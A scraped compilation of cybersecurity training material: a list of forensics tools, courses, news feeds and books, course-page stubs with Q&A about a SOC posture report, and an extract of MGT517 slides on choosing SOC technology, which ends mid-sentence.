Forensics Digital forensics is a really large field and can be very complicated. Here are some great tools and resources you may want to consider learning: • Training o https://www.itmasters.edu.au/free -short -course -digital -forensics/ o https://www.cybrary.it/course/computer -hacking -forensics -analyst/ o https://null -byte.wonderhowto.com/how -to/forensics/ o • Tools o App.any.run, https://app.any.run/ o CAINE http://www.caine -live.net/ o CentralOps, https://centralops.net/co/ o Cuckoo Sandbox, https://cuckoosandbox.org/ o Fireeye Flare https://www.fireeye.com/blog/threat -research/2017/07/flare -vm-the-windows -malware.html o FTK Disk Imager Lite, https://accessdata.com/product -download/ftk -imager -lite-version -3.1.1 o Ghidra, https://www.nsa.gov/resources/everyone/ghidra/ o HPING, www .hping.org/ o Hybrid Analysis, https://www.hybrid -analysis.com/ o Maltego Classic, https://www.paterva.com/web7/buy/maltego -clients/ maltego.php o Mandiant Redline, https://www.fireeye.com/services/freeware/redline.html o MXBox Tools, https://mxtoolbox.com/Network Tools.aspx o Masscan, https://github.com/robertdavidgraham/masscan o Nmap, https://nmap.org/ o Open Computer Forensics Architecture http://sourceforge.net/projects/ocfa/ o Open Source Intelligence (OSINT) Framework; https://osintframework.com/ o REMunx https://remnux.org/ ▪ How to Dynamic ally Analyze Files Using Munin, https://youtu.be/2WyPK0RXGHE o SANS SIFT https://digital -forensics.sans.org/community/downloads/ o SHODAN, https://www.shodan.io/ o The Sleuth Kit http://www.sleuthkit.org/ ▪ (+ Autopsy GUI) https://www.sleuthkit.org/autopsy Cyber Security Training Plan p 9/11 v20190 605 o VirusTot al http://virustotal.com ▪ How to Generate MD5Sum Hash and Submit to VirusTotal, https://youtu.be/yNjyQ00 -EfQ o Wireshark, https: //www.wireshark.org/ • Forensic Challenges o Forensic Focus http://www.forensicfocus.com/images -and-challenges o Cyber Forensic Challenge: https://cyberforensicschallenge.com/ o Pivot Project (aimed at high school students): http://pivotproject.org/challenges/digital -forensics -challenge • Physical Evidence handlin g o Working Group on Digital Evidence https://swgde.org/ 9. Cyber Security Certification -based Courses1 https://www.cybrary.it/course/comptia -aplus https://www.cybrary.it/course/comptia -902-2018 https://www.cybrary.it/course/comptia -network -plus https://www.cybrary.it/course/comptia -security -plus https://www.cybrary.it/course/comptia -cysa -2018 https://www.udemy.com/pentestplus https://www.udemy.com/ccna -on-demand -video -boot -camp 10. Also check out2 https://www.youtube.com/user/professormesser https://www.youtube.com/channel/UC0ZTPkdxlAKf -V33tqXwi3Q (Hackersplo it) https://www.youtube.com/channel/UClcE -kVhqyiHCcjYwcpfj9w (LiveOverflow) https://www.youtube.com/playlist?list=PLG49S3nxzAnmpdmX7RoTOyuNJQAb -r-gd (Messer, Networking) https://www.youtube.com/watch?v=vrh0epPAC5w (Animated full Network+ course) https://www.springboard.com/blog/12 -must -watch -cybersecurity -ted-talks/ (TED Talks) http://opensecuritytraining.in fo/Training.html (Open Security Training) https://fedvte.usalearning.gov/ (veterans/gov only) Credits & contributors: • b4kSec1 on reddit, posted 2/15/19 https://www.reddit.com/r/AskNetsec/comments/ar3fo5/learn_netsec/ • cents02 22 on reddit, posted 2/15/19 https://www.reddit.com/r/AskNetsec/comments/ar3fo5/learn_netsec/ • Shayne Champion • Wes Floyd • Rick Howard and the Cyber Security Can on, https://cybercanon.paloaltonetworks.com/ • Ryan Seay • Jeff Upton • Keith Weber Cyber Security Training Plan p 10/11 v20190 605 Cyber Security News Resources RSS (daily peek) - some rss may duplicate what you have for sites http://seclists.org/rss/nmap -hackers.rss http://www.us -cert.gov/channels/tips.rdf http://www.us -cert.gov /channels/alerts.rdf http://www.us -cert.gov/channels/bulletins.rdf http://www.us -cert.gov/channels/techalerts.rdf http://www.us -cert.gov/current/index.rdf https://krebsonsecurity.com/feed/ http://feeds.feedburner.com/scma gazinenews http://www.darkreading.com/rss_simple.asp http://seclists.org/rss/fulldisclosure.rss http://seclists.org/rss/bugtraq.rss https://www.cnet.com/topics/security/ https://www.symantec.com/xml/rss/ listings.jsp?lid=latestthreats30days https://www.symantec.com/xml/rss/listings.jsp?lid=securityassessmenttools https://www.symantec.com/xml/rss/listings.jsp?lid=hacktools https://www.symantec.com/xml/rss/listings.jsp?lid=spyware https://www.symantec.com/xml/rss/listings.jsp?lid=advisories https://www.symantec.com/xml/rss/listings.jsp?lid=mixedsecurityrisks Podcasts http://advancedpersistentsecurity.net/ Advanced persistent security http://www.brakeingsecurity.com/ Brakeing down security http://chrissanders.org/2017/03/introducing -source -code -podcast/ Chris Sanders’ on source code https://defens ivesecurity.org/ Defensive security podcast https://isc.sans.edu/podcast.html SANS internet storm daily http://leoville.tv/podcasts/sn.xml Security now podcast https://securityweekly.com/category/esw/ Enterprise security weekly http://thecharlestendellshow.com/ Charles Tendell show Twitter (People to Follow) @briankrebs @Carlos_Perez @CiscoSecurity @dakami @DarkReading @edskoudis @gcluley @hdmoore @jeremiahg @kalilinux @lennyzeltser @markrussinovich @moxie @NakedSecurity @SANSInstitute @schneierblog @SGgrc @Sword ShieldSec Cyber Security Training Plan p 11/11 v20190 605 Sites to Read (Daily) https://www.dshield.org/ DShield: Internet Storm Center - Internet Security https://www.darkreading.com/ Dark Reading - Security https://www.hak5.org/ ; https://hakshop.com/ ; https://www.youtube.co m/hak5 Hak5 https://www.intelligence.healthcare https://www.issa.org/ https://krebsonsecurity.com/ https://news.ycombinator.com / http://www.newsnow.co.uk/h/Industry+Sectors/Information+Techno logy/Security https://www.reddit.com/r/netsec/ https://www.reddit.com/r/sysadmin/ https://www.reddit.com/r /Malware/ https://www.reddit.com/r/computerforensics/ https://www.sans.org/security -resources/blogs https://securityweekly.com/ http://www.team -cymru.org/ Team Cymru: Internet Security Research and Insight Business Books • Blink: The Power of Thinking Without Thinking , Malcolm Gladwell • Extreme Ownership , Jocko Willinik and Leif Babin • Change or Die , Alan Deutschman • Good to Great , Jim Collins • How to Win Friends & Influence People , Dale Carnegie • The Five Dysfunctions of a Team , Patrick Lencioni • The Fred Factor , Mark Sanborn • The Thinker's Guide to Analytic Thinking , Linda Elder and Richard Paul • The Checklist Manifesto, Atul Gawande Security & Technical Books Also see the Cyber Security Canon, https://cybercanon.paloaltonetworks.com/ • Blue Team Handbook: Incident Response Edition , Don Murdoch • Blue Team Handbook: SOC, SIEM, and Threat Huntin g, Don Murdoch • BTFM: Blue Team Field Manual . Ben Clark & Alan J. White Countdown to Zero Day , Kim Zetter • Click Here to Kill Everybody, Bruce Sch neier • Countdown to Zero Day , Kim Zetter • Cuckoo's Egg , Cliff Stoll • Data and Goliath , Bruce Schneier • Ghost in the Wires , William Simon and Kevin Mitnick • Hackers: Heroes of the Computer Revolution , Steven Levy • How to Measure Anything in Cybersecurity Risk , Douglas Hubbard and Richard Seiersen • Measuring and Managing Information Ri sk: A FAIR Approach , Jack Freund and Jack Jones • Practical Packet Analysis , Chris Sanders • RTFM: Red Team Field Manual , Ben Clark • The Art of Invisibility , Kevin Mitnick • The Practice of Network Security Monitoring, Richard Bejtlich --- ## Source: https://montance.com/questions.php?id=63 [![pdf](content/images/icons/pdf.svg) Cyber Security Resources v20190605.pdf](https://drive.google.com/file/d/1PNryYiMuxYORbm2nnvYrfrYI9MZ-_pQ3/view?usp=sharing) Cyber Security Resources V20190605 Resource covering General titled 'Cyber Security Resources V20190605'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1dvTIOoS45I9hascHNdMPd88ACr2wXzSe/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1dvTIOoS45I9hascHNdMPd88ACr2wXzSe/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=62 [![txt](content/images/icons/txt.svg) mgt517\_links\_4.txt](https://drive.google.com/file/d/1dvTIOoS45I9hascHNdMPd88ACr2wXzSe/view?usp=sharing) MGT517 Links 4 Resource covering Links titled 'MGT517 Links 4'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1LqLWGGdnI4T1vjY0hXPUMnP0qOrin7d0/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1LqLWGGdnI4T1vjY0hXPUMnP0qOrin7d0/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=61 [![txt](content/images/icons/txt.svg) mgt517 links 1.txt](https://drive.google.com/file/d/1LqLWGGdnI4T1vjY0hXPUMnP0qOrin7d0/view?usp=sharing) MGT517 Links 1 Resource covering Links titled 'MGT517 Links 1'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1ewpHb95kSdjoFOe1ZzMvnX4zRgenpeTu/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1ewpHb95kSdjoFOe1ZzMvnX4zRgenpeTu/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=60 [![txt](content/images/icons/txt.svg) mgt517 links 5.txt](https://drive.google.com/file/d/1ewpHb95kSdjoFOe1ZzMvnX4zRgenpeTu/view?usp=sharing) MGT517 Links 5 Resource covering Links titled 'MGT517 Links 5'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1leavKVIrfAykPwyn_lfPPCUFSoWZB24K/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1leavKVIrfAykPwyn_lfPPCUFSoWZB24K/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=59 [![txt](content/images/icons/txt.svg) mgt517 links 2.txt](https://drive.google.com/file/d/1leavKVIrfAykPwyn_lfPPCUFSoWZB24K/view?usp=sharing) MGT517 Links 2 Resource covering Links titled 'MGT517 Links 2'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1jmUhAqvJ7k5z7wSk310qmTqyAyL9IWm5/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1jmUhAqvJ7k5z7wSk310qmTqyAyL9IWm5/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=58 [![txt](content/images/icons/txt.svg) mgt517 links 3.txt](https://drive.google.com/file/d/1jmUhAqvJ7k5z7wSk310qmTqyAyL9IWm5/view?usp=sharing) MGT517 Links 3 Resource covering Links titled 'MGT517 Links 3'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=57 [![docx](content/images/icons/docx.svg) SOC Posture Improvement Report.docx](https://docs.google.com/document/d/12ARfyCM2EkbsFfqbdbRRumJX8vr_wRuO/edit?usp=sharing) SOC Posture Improvement Report Report template for tracking SOC maturity improvements and remediation actions. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the operational purpose of the 'Immediate/High/Moderate' classification? A: To prioritize remediation efforts based on risk, ensuring that critical vulnerabilities are addressed before less severe ones. * Q: How does the 'Verification Method' field enhance accountability? A: It requires a specific, testable criterion for closure, preventing teams from simply marking items as 'done' without proof. * Q: What is the strategic value of the 'Actions Suggested' section? A: It allows the SOC to provide consulting value and best practices to business units without expending political capital on mandatory requirements. * Q: How does this report bridge the gap between 'Technical' and 'Managerial' views? A: By translating technical findings (e.g., missing patch) into risk-based actions (e.g., High Action Required) that management can enforce. * Q: What is the role of the 'Responsible Party' field? A: It assigns clear ownership, preventing remediation tasks from falling into the gaps between teams. * Q: How does the 'Due Date' field support compliance? A: It creates a measurable SLA for remediation, which can be tracked and reported to executive leadership. * Q: What implies the 'Continuous Improvement' aspect of this report? A: It is not just a one-time audit but a recurring mechanism to lift the organization's security baseline over time. * Q: How does the 'Mandatory Policy' reference strengthen the SOC's authority? A: It ties technical requests to established organizational policy, making compliance non-negotiable. * Q: What is the risk of having too many 'Immediate' items? A: It can overwhelm the business units and lead to 'alert fatigue' or pushback; prioritization is key. * Q: How does this report format support 'Audit' requirements? A: It creates a documented trail of identified risks and the organization's response, demonstrating due diligence. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=56 [![xlsx](content/images/icons/xlsx.svg) Analyst Baseball Card Crowley.xlsx](https://docs.google.com/spreadsheets/d/1NSddbjLCvwUPKVVi8CRP75jHm4a8thRK/edit?usp=sharing) Analyst Baseball Card Crowley Scorecard template for tracking individual SOC analyst performance metrics. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1KSwlezxrfzUfwyFuX5_AqjpUilEmQgfq/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1KSwlezxrfzUfwyFuX5_AqjpUilEmQgfq/view?usp=sharing]** MGT517 | Managing Security Operations 1Technology Integration The Program •Scripting •Challenge of long term maintenance, adequate skillset •Professional Services •Expensive, can be difficult to schedule in time •Only select compatible products •Lock-in, missed opportunities •Automation / Orchestration Tool •Current practice (and the latest buzzy marketing word)What is the Data Glue? You will need some glue to piece the technologies together because there’s no single SOC software that handles all of the various tools that should interconnect. The automation and orchestration tool set MGT517 | Managing Security Operations 2SOC / Command Center Technology Selection •The depiction method for the tools, if teams share tools •It’s possible that you have a central infrastructure team in your Command Center that controls and supports all SOC tools, this is uncommon. Usually this central team manages some tools and each function manages its ownHow Ownership/Responsibility is Depicted Used by Owned by To organize and explain the technology, we’re identifying example technology. These aren’t endorsements, and the lists aren’t comprehensive, but they’re a good start for you to start your search. MGT517 | Managing Security Operations 3SOC System Secure Architecture Visibility (External Awareness)Comm- unicationOpsDetection & PreventionStorage Deception AnalysisSOC Systems - Overall To run all of the technology we’re about to discuss, there needs to be some systems administration capability available. This might be IT operations existing System Admin capability. This is a positive in terms of resource reuse, but a negative in terms of separation of duties. An additional consideration will be that many of the systems will be specialized, required specific skills sets. For example, a large Network Intrusion Detection (NIDS) or SIEM implementation will require someone to manage that gear on an ongoing basis. This includes both the base operating system and the application components. MGT517 | Managing Security Operations 4SOC System Secure Architecture Visibility (External Awareness) Threat Intel PortalsOperational Status informationNews informationWeatherInternet WeatherVisibility – External Awareness To run all of the technology we’re about to discuss, there needs to be some systems administration capability available. This might be IT operations existing System Admin capability. This is a positive in terms of resource reuse, but a negative in terms of separation of duties. An additional consideration will be that many of the systems will be specialized, required specific skills sets. For example, a large Network Intrusion Detection (NIDS) or SIEM implementation will require someone to manage that gear on an ongoing basis. This includes both the base operating system and the application components. MGT517 | Managing Security Operations 5SOC System Secure Architecture Threat Intel PortalsVisibility – External Awareness To run all of the technology we’re about to discuss, there needs to be some systems administration capability available. This might be IT operations existing System Admin capability. This is a positive in terms of resource reuse, but a negative in terms of separation of duties. An additional consideration will be that many of the systems will be specialized, required specific skills sets. For example, a large Network Intrusion Detection (NIDS) or SIEM implementation will require someone to manage that gear on an ongoing basis. This includes both the base operating system and the application components. MGT517 | Managing Security Operations 6Used by Owned byThreat Intel Portals Technology Selection External Threat Feeds Open Source / Free Moderate Options Expensive Options News,Twitter, etc. Team Cymru Symantec SANS ISC Cyveillance SecureWorks Veris Threat Connect (internal) Recorded Future ThreatConnect Alien Vault (OTX free version) Verisign iDefense Threat intelligence likely will purchase information from data sources that assist its efforts. There are several businesses providing information on a subscription service. Some are little better than IP addresses and some are open source and quite valuable. MGT517 | Managing Security Operations 7Threat Intel Portals Technology Selection World-wide threat monitoring Open Source / Free Moderate Options Expensive Options News,Twitter, etc. Team Cymru Symantec SANS ISC Cyveillance SecureWorks ThreatConnect (free) IID Veris Framework Verisign iDefenseUsed by Owned by Command center must monitor the state of the threat environment. This includes watching the trade press on emerging and developing threats, watching mailing lists for security releases, subscribing to full disclosure, security tool vendor lists, going to conferences, and looking at security research. Additionally, this information can be purchased from several vendors. This provided data feed still needs to be reviewed and the relevance to the organization understood. MGT517 | Managing Security Operations 8Threat Intel Portals Technology Selection Internal Portal for IOC Tracking Open Source / Free Moderate Options Expensive Options GPG (PGP) and e-mail Threat Connect (internal) Crowdstrike Falcon OpenIOC Develop internal application FireEye Veris Framework Carbon Black Threat ConnectUsed by Owned by As you gather this information from disparate sources, having a storage and reuse platform becomes necessary. Have some tool that allows you to review the data you’ve aggregated. MGT517 | Managing Security Operations 9Threat Intel Portals Technology Selection Feed Ingestion and Production Open Source / Free Moderate Options Expensive Options ThreatConnect X-Force Exchange OTX AlienVault CrowdStrike Falcon MISP Recorded Future STIX/TAXIIUsed by Owned by Threat intelligence likely will have tools which accept and send information in MISP, STIX/TAXII format. This is often the SIEM itself but might be a separate tool for information exchange. MGT517 | Managing Security Operations 10Threat Intel Portals Technology Selection Correlation and Mapping Relationships Open Source / Free Moderate Options Expensive Options Veris Framework Maltego Crowdstrike Falcon Intelligence Maltego CE CaseFileUsed by Owned by As you collect data, mapping the relationships becomes an arduous task. Tools to automate relationship discovery are important. MGT517 | Managing Security Operations 11SOC System Secure Architecture Operational Status informationVisibility – External Awareness MGT517 | Managing Security Operations 12Operational Status Information Technology Selection Availability Monitoring Open Source / Free Moderate Options Expensive Options Xymon Big Brother Professional Edition Tivoli MRTG What’s Up SolarWinds NagiosUsed by Owned by Good operations provide for better security. The Command Center function should have operational monitoring capability to assure that outages are noticed and addressed. Xymon –fork of Big Brother https://sourceforge.net/projects/xymon/ MGT517 | Managing Security Operations 13Operational Status Information Technology Selection Performance Monitoring Open Source / Free Moderate Options Expensive Options Xymon Big Brother Professional Edition Cisco NetFlow MRTG What’s Up RRD Tool Nagios ZabbixUsed by Owned by Good operations provide for better security. Performance deviations are useful for assuring optimal performance. In addition to noticing outages, the Command Center capability should notice the scenario of an excessive consumption of resources. http://www.zabbix.com/monitor_everything.php MGT517 | Managing Security Operations 14SOC System Secure Architecture News informationVisibility – External Awareness To run all of the technology we’re about to discuss, there needs to be some systems administration capability available. This might be IT operations existing System Admin capability. This is a positive in terms of resource reuse, but a negative in terms of separation of duties. An additional consideration will be that many of the systems will be specialized, required specific skills sets. For example, a large Network Intrusion Detection (NIDS) or SIEM implementation will require someone to manage that gear on an ongoing basis. This includes both the base operating system and the application components. MGT517 | Managing Security Operations 15SOC System Secure Architecture WeatherVisibility – External Awareness To run all of the technology we’re about to discuss, there needs to be some systems administration capability available. This might be IT operations existing System Admin capability. This is a positive in terms of resource reuse, but a negative in terms of separation of duties. An additional consideration will be that many of the systems will be specialized, required specific skills sets. For example, a large Network Intrusion Detection (NIDS) or SIEM implementation will require someone to manage that gear on an ongoing basis. This includes both the base operating system and the application components. MGT517 | Managing Security Operations 16SOC System Secure Architecture Internet WeatherVisibility – External Awareness To run all of the technology we’re about to discuss, there needs to be some systems administration capability available. This might be IT operations existing System Admin capability. This is a positive in terms of resource reuse, but a negative in terms of separation of duties. An additional consideration will be that many of the systems will be specialized, required specific skills sets. For example, a large Network Intrusion Detection (NIDS) or SIEM implementation will require someone to manage that gear on an ongoing basis. This includes both the base operating system and the application components. MGT517 | Managing Security Operations 17Internet Weather Technology Selection World-wide Internet Monitoring Open Source / Free Moderate Options Expensive Options News,Twitter, etc. Team Cymru Symantec SANS ISC Cyveillance SecureWorks ThreatConnect (free) Fireeye iSight Veris FrameworkUsed by Owned by Command center must monitor the state of the threat environment. This includes watching the trade press on emerging and developing threats, watching mailing lists for security releases, subscribing to full disclosure, security tool vendor lists, going to conferences, and looking at security research. Additionally, this information can be purchased from several vendors. This provided data feed still needs to be reviewed and the relevance to the organization understood. MGT517 | Managing Security Operations 18SOC System Secure Architecture Communication PhoneEncryption for CommunicationWebsitesPortals: Status, Metrics, Incident, TicketingSOC Systems MGT517 | Managing Security Operations 19SOC System Secure Architecture PhoneCommunication MGT517 | Managing Security Operations 20Phone Technology Selection Telephone Systems Open Source / Free Moderate Options Expensive Options Asterisk Vonage Cloud AvayaUsed by Owned by To run a call center, you need a telephone system. You may already have this in your organization and will leverage the existing system. You’ll need to have rollover groups, the ability to have frequently recorded status messages, shared mailboxes, and distribution systems. Additionally, it is useful to have call outs with automated triage capability in the event a person doesn’t answer. You might also like to have the ability to store preferences for individuals within the callout capability. SMS versus telephone call for example. http://www.asterisk.org/get-started/applications/call-center https://business.vonage.com/features/cloud-pbx/ https://support.avaya.com/products/P0712/avaya-callpilot/ MGT517 | Managing Security Operations 21SOC System Secure Architecture Encryption for CommunicationCommunication MGT517 | Managing Security Operations 22Encryption for Communication Technology Selection Encryption of E-mail Open Source / Free Moderate Options Expensive Options GPG (PGP) – no central managementIf using Exchange, assign digital certificates to users. Doesn’t provide external capabilityVerisign PKI for end user certificates Silent Circle Establish internal PKIUsed by Owned by Encrypted communications are important for conducting response activity. This should be established in advance with each user so there’s an understanding of the use of this method for communicating related to command actions from the SOC. One persistent downside to encrypted communication is that it is not searchable. MGT517 | Managing Security Operations 23Encryption for Communication Technology Selection Encrypted Chat Open Source / Free Moderate Options Expensive Options Google Hangouts Microsoft TeamsiPhones for all SOC staff to use iMessage Skype Silent Circle WhatsApp SlackUsed by Owned by Encrypted communications are important for conducting response activity. This should be established in advance with each user so there’s an understanding of the use of this method for communicating related to command actions from the SOC. One persistent downside to encrypted communication is that it is not searchable. The use of chat is very common with current efforts, and should be established in advanced. MGT517 | Managing Security Operations 24SOC System Secure Architecture WebsitesCommunication MGT517 | Managing Security Operations 25Websites Technology Selection Servers Open Source / Free Moderate Options Expensive Options Linux,Apache, MySQL, PHP (LAMP stack) with phpBB, or similarAmazon Elastic Compute Cloud server instanceHosted dedicated server, geographic redundancyUsed by Owned by As part of the user and constituent-facing communication capability, the SOC command center needs to have the websites because they’re an expected and efficient capability for disseminating information. MGT517 | Managing Security Operations 26SOC System Secure Architecture Portals: Status, Metrics, Incident, TicketingSOC Systems MGT517 | Managing Security Operations 27Portals: Status, Metrics, Incident, Tracking Technology Selection Communication and Coordination Open Source / Free Moderate Options Expensive Options Linux,Apache, MySQL, PHP (LAMP stack) with phpBB or similarAmazon Elastic Compute Cloud server instanceHosted dedicated server, geographic redundancy GPG (PGP) encrypted e-mailS/MIME using internal signed certsVerisign or Geotrust certificates for e-mailUsed by Owned by For the exercise to be successful, having a method for communicating to participants in an exercise is valuable. This could be a website, wiki page, hosted server instances, or encrypted e-mail capability. MGT517 | Managing Security Operations 28SOC System Secure Architecture Operations Automation & OrchestrationTicketingDev,QA,Stageof Production/Operational toolsSOC Systems - Overall MGT517 | Managing Security Operations 29SOC System Secure Architecture Automation & OrchestrationOperations MGT517 | Managing Security Operations 30Automation & Orchestration Technology Selection SOAR Open Source / Free Moderate Options Expensive Options The Hive CyberCPR (free for small orgs) Resilient Cyphon CyberSponse ServiceNow Node Red Phantom (Splunk owned) OTRS Jira + Confluence DemistoUsed by Owned by Orchestration and Automation tools embed your workflow into the tools. The tasks an analyst would normally do manually become actions to perform for the system, or are automatically performed and results are given to the analyst. A couple free tools: https://Cyphon.io https://nodered.org/ (not security specific, but feasible to use for this) MGT517 | Managing Security Operations 31SOC System Secure Architecture TicketingSOC Systems - Overall MGT517 | Managing Security Operations 32Ticketing Technology Selection Ticket System Open Source / Free Moderate Options Expensive Options RTIR CyberCPR (free for small orgs) Resilient FIR Jira + Confluence Remedy The Hive ZenDesk ServiceNow Salesforce Service Cloud ArcherUsed by Owned by To track open actions, some ticketing and tracking tool needs to be deployed. This might be an excel spreadsheet (and I have seen this firsthand) or it could be fully integrated into an enterprise ticketing system. MGT517 | Managing Security Operations 33SOC System Secure Architecture Dev, QA, Stage of Production/ Operational toolsSOC Systems - Overall MGT517 | Managing Security Operations 34SOC System Secure Architecture Detection & Prevention Endpoint: EDR, App whitelisting, DLP, Behavioral Analytics, e- Discovery, logs, containment / response toolsNetwork: NIDS, PCAP, taps, logs, containment / response tools, detonation devicesInfrastructure: Switch, Firewall configuration, logs, containment / response tools, WiFiExtrastructure: Cloud, Social analysis (not threat intel, but compromise and data), Cellular, ISP dependency, partner capability, tertiary DNS, CDN, connectors / APIs, logs, containment / response toolsCorrelation: SIEM, LCE, etc.SOC Systems MGT517 | Managing Security Operations 35SOC System Secure Architecture Endpoint: EDR, App whitelisting, DLP, Behavioral Analytics, e-Discovery, logs, containment / response toolsDetection & Prevention MGT517 | Managing Security Operations 36Used by Owned byEndpoint Technology Selection Write Blockers Open Source / Free Moderate Options Expensive Options Use Linux and mount the filesystem read only (software- based write block)SafeBlock (software-based write blocker)Tableau hardware write blockers Wiebe Tech write blockers For all the drive hardware types in your environment, you should be able to do local collection of drives in a hardware write blocked fashion. This is less common as enterprise-wide acquisition and IOC based sweeping become more prevalent. But, having the tools on hand to do the necessary acquisition is still a requirement. We'll discuss the major categories of forensic capability in detail. MGT517 | Managing Security Operations 37Endpoint Technology Selection Remote and Local Memory Collection Open Source / Free Moderate Options Expensive Options Google Rapid Response (GRR) AccessData FTK Encase Enterprise FireEye Redline CounterTack Responder PRO FireEye HX Winpmem (linpmem, osxpmem) F-Response CarbonBlack FTK ImagerUsed by Owned by At enterprise scale, we want a tool that can remotely collect artifacts throughout the environment. We also need something in case the enterprise solution is not viable, or installed. MGT517 | Managing Security Operations 38Endpoint Technology Selection eDiscovery Agent Open Source / Free Moderate Options Expensive Options Search files using existing storage accessProofPoint Guidance Encase eDiscovery FreeEed Magnet IEF IBM StoredIQ ProloremMicroFocus eDiscovery (formerly HP)Used by Owned by To support eDiscovery, as with NSM, IR, and Host Forensics, we would like to tool that provides us reliable, remote data collection that can be performed in a way that is transparent to users and provides accountability for who accessed the data. This tool should provide targeted search term based collection, and the ability to restrict searching to only those individuals in scope. http://www.capterra.com/electronic-discovery-software/ has a large number of products MGT517 | Managing Security Operations 39Endpoint Technology Selection Endpoint Configuration Analysis Open Source / Free Moderate Options Expensive Options SamhainWindows Event Log (you already own it), SCCMNorton, Trend, Kaspersky, McAfee,… OSSEC Tripwire Cylance Protect Windows Defender Fireeye Endpoint (HX) Carbon BlackUsed by Owned by In self-assessment, we want to inventory the state of the information system to terminal degree. Meaning, we want to know everything about every setting throughout the environment. Some organizations contend this is too large a problem. I contend that it is built, and as such is already inventoried… just not aggregated in a suitable format. Since today started with an Italo Calvino reference, I’ll provide a suggested short story to read as an exercise left to the reader: A King Listens , by Italo Calvino. Perhaps too romantic for the topic of information system configuration, it does acknowledge the high degree of paranoia and power this complete instrumentation provides. MGT517 | Managing Security Operations 40Endpoint Technology Selection HIDS / EDR / EPP Open Source / Free Moderate Options Expensive Options SamhainWindows Event Log (you already own it)Norton, Trend, Kaspersky, McAfee,… OSSEC Tripwire Carbon Black Windows Defender Fireeye Endpoint (HX) AppLocker (Win Enterprise) Cylance ProtectUsed by Owned by Similar to NIDS, the HIDS information helps to guide host-based forensic analysis. It’s not necessary but is useful to provide guidance to the analysis. The tool in use might be shared with NSM and/or Threat Intel. MGT517 | Managing Security Operations 41Endpoint Technology Selection Key Escrow for Encrypted Drives Open Source / Free Moderate Options Expensive Options Bitlocker recovery key escrow via Active DirectoryMcAfee Full disk encryption escrow Symantec Endpoint EncryptionUsed by Owned by If you utilize full drive encryption in your environment (and I hope that you do for any mobile solution such as laptops and mobile devices) you must manage encryption key material, so the encrypted drive can be acquired, and the appropriate key selected from escrow so that full drive decryption of the encrypted image can be performed. The Apple vs. FBI case (early 2016) highlights the need for appropriate key escrow. San Bernardino County failed to prepare adequately for the key escrow of the iPhone 5c it assigned to its employee. https://www.symantec.com/products/information-protection/encryption/endpoint-encryption MGT517 | Managing Security Operations 42Endpoint Technology Selection Mobile Device Collection Tools Open Source / Free Moderate Options Expensive Options Jailbreak tools and SSH (not forensically sound)Paraben Encase Examiner adb (Android Debug Bridge) Android RippingTool Cellebrite UFED SIFT (SANS Investigative Forensic Toolkit)Magnet Forensics X-Ways Forensics Santoku Live Image NowSecureUsed by Owned by On the subject of collection, most organizations are ill prepared to do collection of mobile devices. Toolkits to collect mobile device artifacts are required. MGT517 | Managing Security Operations 43SOC System Secure Architecture Network: NIDS, PCAP, taps, logs, containment / response tools, detonation devicesDetection and Prevention MGT517 | Managing Security Operations 44Network Technology Selection Network Detection and Prevention Open Source / Free Moderate Options Expensive Options SecurityOnion (Snort, Surricata, Bro)FortinetCisco FirePower (formerly Sourcefire) OSSIM AlienVaultMcAfee Network Security Platform NS-Series RSA NetWitness TippingPoint PaloAltoUsed by Owned by Detection and prevention capability is necessary. This includes network intrusion detection devices as well as 